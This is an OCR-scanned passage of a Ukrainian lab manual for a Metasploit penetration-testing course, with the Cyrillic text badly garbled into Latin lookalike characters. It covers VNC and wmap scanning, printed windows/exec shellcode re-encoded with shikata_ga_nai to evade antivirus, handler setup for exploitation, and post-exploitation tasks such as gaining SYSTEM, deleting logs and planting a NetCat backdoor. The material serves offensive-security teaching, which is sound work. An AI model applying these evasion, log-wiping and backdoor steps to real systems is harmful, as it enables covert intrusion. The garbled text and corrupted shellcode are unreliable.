CHeLllaJli30BaHl CKaHepu UId LbOro CepBiCy. 3HAUTH iX MOXIMBO 3a KIIOUOBUM
CJIOBOM ‘‘scanner/vnc”. 3a 3aMOBUYBaHH:AM ix aBa. OJIMH 3 HUX JO3BOJISIE peasizyBaTu
CKaHyBaHHS Ha MOXJIMBICTb MIJKIIOYEHHS O CEPBEPIB IO MIATPUMYIOTH METOJ
aBreHTHdIKaIii “None”. Moayiab Mae BChOTO TpPH OIIIi: aapeca I, MOPT Ta
KUIBKICTh MOTOKIB K1 OyAyTh HamMaraTucsl aBTeHTH(IKyBaTucs Ha cepsepi. [Ipuknan

poOOTH IILOTO MOJTYJIS 300pakeHo Ha PucyHok 2.

root@Kkali: ~
File Edit View Search Terminal Help
msf auxiliary( ) > run

192.168.0.100:5900 - 192.168.0.100:5900 - VNC server protocol version: [3, 4].3
192.168.0.100:5900 - 192.168.0.100:5900 - VNC server security types supported: VNC

Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary( ) >

Pucynok 70 — ITpuknan podotu moayis 3 VNC cepBicom

Oxkpim Bcroro Metasploit 103BoJIsIE BUKOHATH TOIIYK BPa3jMBOCTEN y BeO-
nonarkax. J[js mboro BUKOPUCTOBYETHCS CKaHEP/Kpoylep — “‘wmap”, HOro MOKJIMBO
3HAWTH BUKOPHUCTABIIH Y SKOCTI KJIIFOUOBOTO CJIOBa MOTO Ha3By. BapTo 3ayBaXkuTu 110
1Ie He €UHUI cKaHep/KpoyJiep /uisd BeO-10AaTKIB y CKadi pperMBOPKY.

[Tnaria  “wmap” MOXIMBO 3aBaHTAXUTH O€3MOCEPETHHO BUKOPUCTABIIU
komanay “load” (“load wmap”). ITiciist 40ro 3 HUM MOYKJIMBO IIPALFOBATH.

Jlns movaTtky, HEOOXITHO CTBOPUTH 3alUC MPO HOBUW CAWT 3a JIONOMOTOIO

(13 29

KOMaHIu  “wmap_sites” 3  KIHOUYOM -a (mpuknam:  “wmap_sites —a
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http://somesite.com”). Ilicis woro, BKaszaTd IT JUIsl KpOyJepa BHUKOPHUCTOBYIOUH
KOMaHay ‘“‘wmap targets” 3 kmouom “-t7 (mpuximan:  “wmap targets —t
http://somesite.com/login”). /lomaTkoBe Bu3HaucHHS miaed (cTopiHOk caity (BeO-
J0JIaTKY)), 1a€ MOXKJIMBICTh 3MEHIIIUTH Yac CKaHyBaHHS, 1 3HUKYE KUTBKICTh 3allpOCIB
y CTOPOHY cepBepa, 10 Yy CBOIO 4YEPry — 3HWXKYe MIaHC Oyau BusiBiIeHUM. OKpiMm
I[LOTO TUIATIH JI03BOJISIE BUBHAYUTH K1 camMe MOAYJ1 OyAyTh BUKOPHCTaH1 BIAHOCHO
1T, YBIMKHYTI MOZYJIl MOKJIMBO MEPETIISTHYTH 32 JTOMOMOT0I0 KOMaHIU “‘Wmap_run
-t”, IeTajbHIIIe Mpo Te SK KePyBaTH MOJIYJISAMH HamucaHo y “Wmap_run -h”, a mmus
3aIyCKy CKaHyBaHHS HEOOX1HO BUKOPHUCTATH KOMAaHAY “‘wmap run’ 3 KIK4eMm “-e”.

[Tpuxnan pobotu miariny 300paxeHo Ha Pucynok 3.

/usr/share/metasploit-framework/modules/auxiliary/scanner/http/ms@9 026 webdav_unicode bypass.rb:116:in “rescue in run_host'
/usr/share/metasploit-framework/modules/auxiliary/scanner/http/ms69 020 webdav unicode bypass.rb:58:in “run host'

/usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:135:in “block (2 levels) in run
/usr/share/metasploit-framework/lib/msf/core/thread manager.rb:100:in “block in spawn'

Module auxiliary/scanner/http/prev_dir_same name file

Path: /

Blank or default PATH set.

Module auxiliary/scanner/http/replace ext

Module auxiliary/scanner/http/soap_xml

Path: /

Starting scan with Oms delay between requests

Module auxiliary/scanner/http/trace_axd

Path: /

*] Module auxiliary/scanner/http/verb_auth_bypass

*] Module

*] Module auxiliary/scanner/http/error_sql_injection
*] Module auxiliary/scanner/http/http traversal

*] Module auxiliary/scanner/http/rails_mass_assignment
*] Module exploit/multi/http/lcms_php exec

i

[ Query testing ]=

B o B A o o B I B O
Launch completed in 118.23338222503662 seconds
g B O o o o o
[*] Done.

Pucynox 71 — Ilpuxmnan po6otu wmap
[Ticnst ckaHyBaHHSI MOXJIMBO 3PYYHO NEPETJISHYTH BCl 3HAWIEH1 BPa3JIMBOCTI Y

BUTISA1 TabmuIll 1 6e3 3aifBoi 1HOopMaIii 3a JOMMOMOTO KoMaHau “wmap vulns” 3

KJIroueMm “-17.
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http://somesite.com/

3aBnaHHA:

1. Bukonatu ckanyBanHa Tumy ‘“Login attempt” BIZHOCHO TpPHOX PI3HUX
CEepBICIB Ha OJHIM 3 [JBOX paHillle 3aBaHTAXEHUX BIPTyaJbHUX MAIIUH
(pexomenmoBano Metasploitable)

2. Bukonatu ckanyBanHsa VNC cepsicy

3. BukoHaTu ckaHyBaHHS BeO-101aTKy (PEKOMCHIOBAaHO BHUKOPHUCTOBYBATH
Be0-70/IaTOK 10 PO3TOPHYTO Ha BipTyanbHiN MammHi 3 Metasploitable, ckanyBaHHS
IJIariHOM Wmap JIOCUTh arpeCUBHE 1 MOXKE 3alTKOJUTH I0JJaTKaM K1 CKaHYIOThCSI)

4. lonatu y 3BIT pe3yibTaTH CKaHyBaHb

5. lonatu y 3BIT onMc/aHani3 pe3yJibTaTiB CKaHyBaHb
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JlabopaTtopna podora Nel2

Tema: Exkonepu

Merta: HaBuuTHCS BHUKOPUCTOBYBATH €HKOJECPU [JIsi OOXOAYy 3aXUCTy

AHTUBIPYCHUX MPOTpam

TeopernuHni BizomocTi

Ileiinoao — TepMiH 1O BUKOPUCTOBYEThC ¥ Metasploit. I{e mporpamumii ko,
110 OyJle BUKOHAHO O€3MocepeiHbO Ha CTOPOHI LI, ToMy BaxxyinBo 1100 11eit Kol He
OyJ0 TMOMIYEHO AaHTUBIPYCHHM TIPOTpaMHHUM 3a0e3neueHHsaM. Bci omeparii 1o
TEHEPYBAHHIO TICWJIOAly BUKOHYEThCA KOMAHAOK ‘‘generate” 3 BHKOPUCTAHHAM
HEOOXI1THUX OIIIH Ta (aris.

[cHyrOTh 1Ba HANpPSIMKU MPUXOBYBAHHS MEMII0aAy Bl aHTUBIPYCHUX MPOTpaMm.
[lepmmii monsirae y 3amiHl OaiTiB BUKOHyBaHOro (aitmy. [l mporo komaHmy
“generate” HeoOXiMHO BUKOHATH 3 Quiarom “-b”. Ilpukiiamu BUKOPUCTaHHS IIHOTO

(dnary HaBeneHo Ha PucyHok 1 ta 2.

sf payload( ) > generate
# windows/exec - 193 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=shutdown
buf =
"\xTc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xcO\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xT2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
BV CEAVCEAVCIAVCIAVEIAVCIAVE LAV CLAVCIAV G EAV G ARG LAV LAV EE
BAVELAVEEAVEI AV ELAVE AVCIAVG AVEIAVIRAV CIAV (A AV(A AV AV I
"\xc7\x38\xe0\x75\xTf6\x03\x7d\xF8\x3b\x7d\x24\x75\xed4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5F\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xTO\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\ xf f\xd5\x3c\x06\x7c"
"\x0a\x80\xTb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\XxFF\xd5\x73\x68\x75\x74\x64\x6T\x77\x6e\x00"
msf payload( ) >

Pucynok 72 — I'enepartis neitnoany 6e3 3MiH

+++++++++++++
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) > generate -b \8b
# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata ga nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=shutdown
buf =
"\xd9\xc7\xbf\x65\x66\x56\x6a\xd9\x74\x24\xF4\x5d\x31\xc9"
BV IAVEIAVEIAVTLH AV AV CEAV L AV AV G EAVCLAVC LAV LAV G EAVE [N
"\x89\xcb\x4c\x67\x49\xac\xc5\x82\x78\xec\xb2\xc7\x2a\xdc"
BV CIAVEEAV(AVE AV IAVEAVETAV( BAVE LAV E AV G AVE AV VAV YA i
"\xe7\xc9\x5b\x1e\x6b\x10\x88\xcO\x52\xdb\xdd\x01\x93\x06"
BV VAAVEEAVC AV CIAVE VAV IAVE LAV EAVE R AV CEAVGIAV G AVOIAVE K iy
"\x01\xaf\x06\x82\x1la\xf6\x88\x24\xcf\x82\x80\x3e\x0c\xae"
"\x5b\xb4\xeb\x44\x5a\x1c\x37\xad\xF1\x61\xf8\x57\x0b\xa5"
"\x3e\x88\x7e\xdf\x3d\x35\x79\x24\x3c\xel\x0c\xbf\xeb6\x62"
"\xb6\Xx1b\x17\xab6\x21\xef\x1b\x03\x25\xb7\x3T\x92\xea\xc3"
"\x3b\x1f\x0d\x04\xca\x5b\x2a\x80\x97\x38\x53\x91\x7d\xee"
"\x6c\xcl\xde\x4f\xc9\x89\xT2\x84\x60\xd0\x98\x5b\xf6\x6e"
"\xee\x5c\x08\x71\x5e\x35\x39\xfa\x31\x42\xc6\x29\x76\xbc"
RV CIAVTLAV G EAVERAVE PAVCIAVGEAVEEAVCEAV CIAVCVAVC AV CIAV RN
"\x57\xb2\xf1\x9e\x52\xfe\xb5\x73\x2e\x6F\x50\x74\x9d\x90"
"\x71\x07\x49\x1a\x0e\x8c\xe6\x93\x80\x4c"
msf payload( ) >

+++++++++++++++

Pucynoxk 73 — I'enepartisi neiioany 3 BUKOpPUCTaHHSM ¢riary -b Ta 3amiHi

Oaiity 8b

3BEpHITh yBary Ha pi3HULIIO po3MipiB (aitmy 193 Oaittu B opurinani ta 220
nicisi BUkopucranus diuary “-b”. Ile € nacmigkom Toro mo 6ait 8b Oyio 3amiHEHO
Ha 1HIII, aJleé TAKUM YMHOM 11100 BUKOHYBaHUM (haiiy1 3aiuiiaBcs mpare31aTHIM.

[HmMiT HampSIMOK TPUXOBYBAHHS TMEWJI0aay BiJi aHTUBIPYCHUX MPOTpaM — €
BUKOPUCTaHHS CHKOJEpiB (3a 3aMOBUYBAaHHSM BHUKOPUCTOBYIOThCs shikata ga nai).
[lepernsgHyTd [OCTYNMHI €HKOJEPHM MOXJIMBO BHMKOHABIIM TMOIIYK 3a KIIOYOBUM
cioBoM “encoder”. Jlyis BUKOpUCTaHHS €HKOJEpPYy HEOOXIJHO BKa3aTW HOTO Ha3BY

nicnst ¢uary “-e”.

3aBaaHHA:
1. BukoHaTy TeHepallilo NeHI0any 3 BUKOPUCTAHHIM HE MEHINE HDK TPhOX

€HKOJIepIB
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2. Bukonatu reHepainiro H€ MEHII HIK TPbOX MEI0aiB 3 BHUKOPUCTAHHIM
JIUIIE TAMIHN OalTiB

3. BukoHaTu nepeBipKy aHTUBIPYCHUMH IporpaMaMu (He MEHIIE 25-TH)

4.V 3BIiT 1onatu iHQOPMAIIIO PO BUKOPUCTAHI €HKOAEPHU 3 OOTPYHTYBaHHAM
ix BUOOpPY

5. Jlomatn y 3BIT MOPIBHSUIBHY XapaKTEPUCTUKY TE€HEPOBAaHUX IMEHII0aiB,
€HKOJIEpIB 110 BHKOPHUCTOBYBAJHCh Ui iX TEHEpyBaHHS Ta pe3yibTaTaMu

CKaHyBaHHSI aHTUBIPYCaMHU.
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JlabopaTtopna poGora Nel3

Tema: Excrutyarariisi Bpa3iIuBoCTei

MeTta: HapunTHCs BAKOPUCTOBYBATH BPa3IMBOCTI 3a jJonoMoror Metasploit.

Teopernuni Bitomocri

Po3ainsitoTh ABa BUIM MOXKIIMBHUX €KCIUTyaTalii BpasnuBocteil. Ilepia — e
Bi/IJIaJIeHa eKCIUTyaTallisi, BOHa IO3BOJISIE 3a/II5ITU EKCIJIONT BIAIQJICHO, 1110 J03BOJISE
YHUKHYTH HEOOXIAHOCTI 3amycKy OyAb SIKHX NPOrpaMHUX 3aco0iB Ha CTOpPOHI
KiieHTa. Jlpyra — 1ie ekcruiyaTailisi Ha CTOPOHI KJIIEHTa, Y IbOMY BHUIIQJIKy Ha CTOPOHI
KJIIEHTA 3aITyCKA€ThCSI BUKOHYBAaHUW (Paily1 a00 CKPUNT SIKUW BUKOHYE I1IKIFOUYEHHS
710 cuctemMu Tectepa. | B mepmomMy 1 B JapyroMy BHUIAIKy Ha CTOPOHI TecTepa
MMOBUHEH MPAIIOBATH XEHUIEP KU Oy/ie OUiKyBaTU 3’ €THAHHS.

VY Bumagky 3 BIJJAJIEHUM EKCIUTyaTyBaHHSIM Bpa3JIMBOCTI XEHJIJep Oyne
YBIMKHEHO aBTOMAaTH4HO, Y pa3i 3 eKCIUTyaTallie€lo Ha cTopoHi kiieHnta (client-side
attacks).

Jli1st TOro 100 PO3TOPHYTH XEHJIEp HAa CTOPOHI TeCTepa HEOOXITHO 3aIMyCTUTH
“msfconsole” micis 4oro o0patu HEOOX1THHUI XEHAJIEP 3a TOTIOMOTOK0 KOMaH U “‘use
exploit/multi/handler”. Ilicnst yoro BcTaHoBUTH om0 “payload” BiAMOBIAHO 10
reHepoBaHoro ¢ainy. Takox HeoOXimHO BKazaTu cBoro [P aapecy ta mopt g0 sxoro
Oyne miakmatouatucs payload 3 6oky kiieHta. B pemri-pemit HEOOXiTHO BUKOHATH
KOMaHy “‘run’ Jyisi 3ayCKy XEHJJIepa.

3aBiaHHA:

1. BukopucraTu Bpa3iuBICTb SKa JAa€ 3MOTY BIAJAJIEHOT eKCILTyaTallii

2. BukopucrtaTu Bpa3iauBICTh IO Ja€ 3MOTY eKCIUTyaTallli Bpa3JHBOCTI Ha
CTOPOHI KJTi€HTA

3. onaTu y 3BIT BiJOMOCTI IIPO BPa3IMBOCTI 110 OYJIM BUKOPHUCTAH1

4. Jlogatu y 3BIT BIJOMOCTI NMPO MOKJIMBOCTI 110 OyJlW HaJaHI B Pe3yJbTaTi

BHUKOPHUCTAHHA BpaSJII/IBOCTCﬁ
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5. Jlogatu y 3BIT peKOMEHAAIIT 10 10 YCYHEHHS X BPa3JIMBOCTEH, Ta IO J0

YCYHEHHSI MOKJIMBOCTI iX MOSIBU y MalOyTHbOMY
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JlabopaTtopna podora Nel4

Tema: ITocT-excrutyaTaris

Meta: Hapuwutucs BHUKOPUCTOBYBATH MO>KJIMBOCTI o BJAJIOCA OTpHUMATH

MiCJIsl IPOHUKHEHHS Y CUCTEMY KJII€HTa

TeopernuHni BizomocTi

JI1st BUKOHAHHS J1aDOpaTOPHOi POOOTH BUKOPUCTOBYWTE 3HAHHS OTPHUMAHI Ii]T
Jac KOPHUCTYBAaHHS BIJITOBIJHOIO OIEPAIiiHO CHUCTEMOIO (HEOOXiTHI 3HAHHS
napameTpiB, ocobnuBocti HajamryBaHHs OC 1 T.1.). Takox, BHUKOPUCTOBYHTE
3HaHHS Ta HABUYKU OTPUMAaHI 3 IONIEPEAHIX JJaOOpaTOPHUX POOIT.

3aBaaHHA:

1. OTpuMaTu CKpIHIIOT BiAAaICHOT MAIlTUHU

2. OTpumMaty TpaBa system Ha CTOpPOHi1 CHCTEMH KITI€HTa

3. Bukonatu BuajaeHHS JIOT1B MO/ HA CTOPOHI CUCTEMH KITIEHTA

4. HanamryBatu port-forwarding Ta BiamTyBaTH OEKIOp 32 JIONOMOTOIO
NetCat

5.V 3BiTi BimoOpa3utu xiJ] BUKOHAHHS POOOTH

6. logatu CKpiHIIIOTH, Ta BUBII KOHCOJ1
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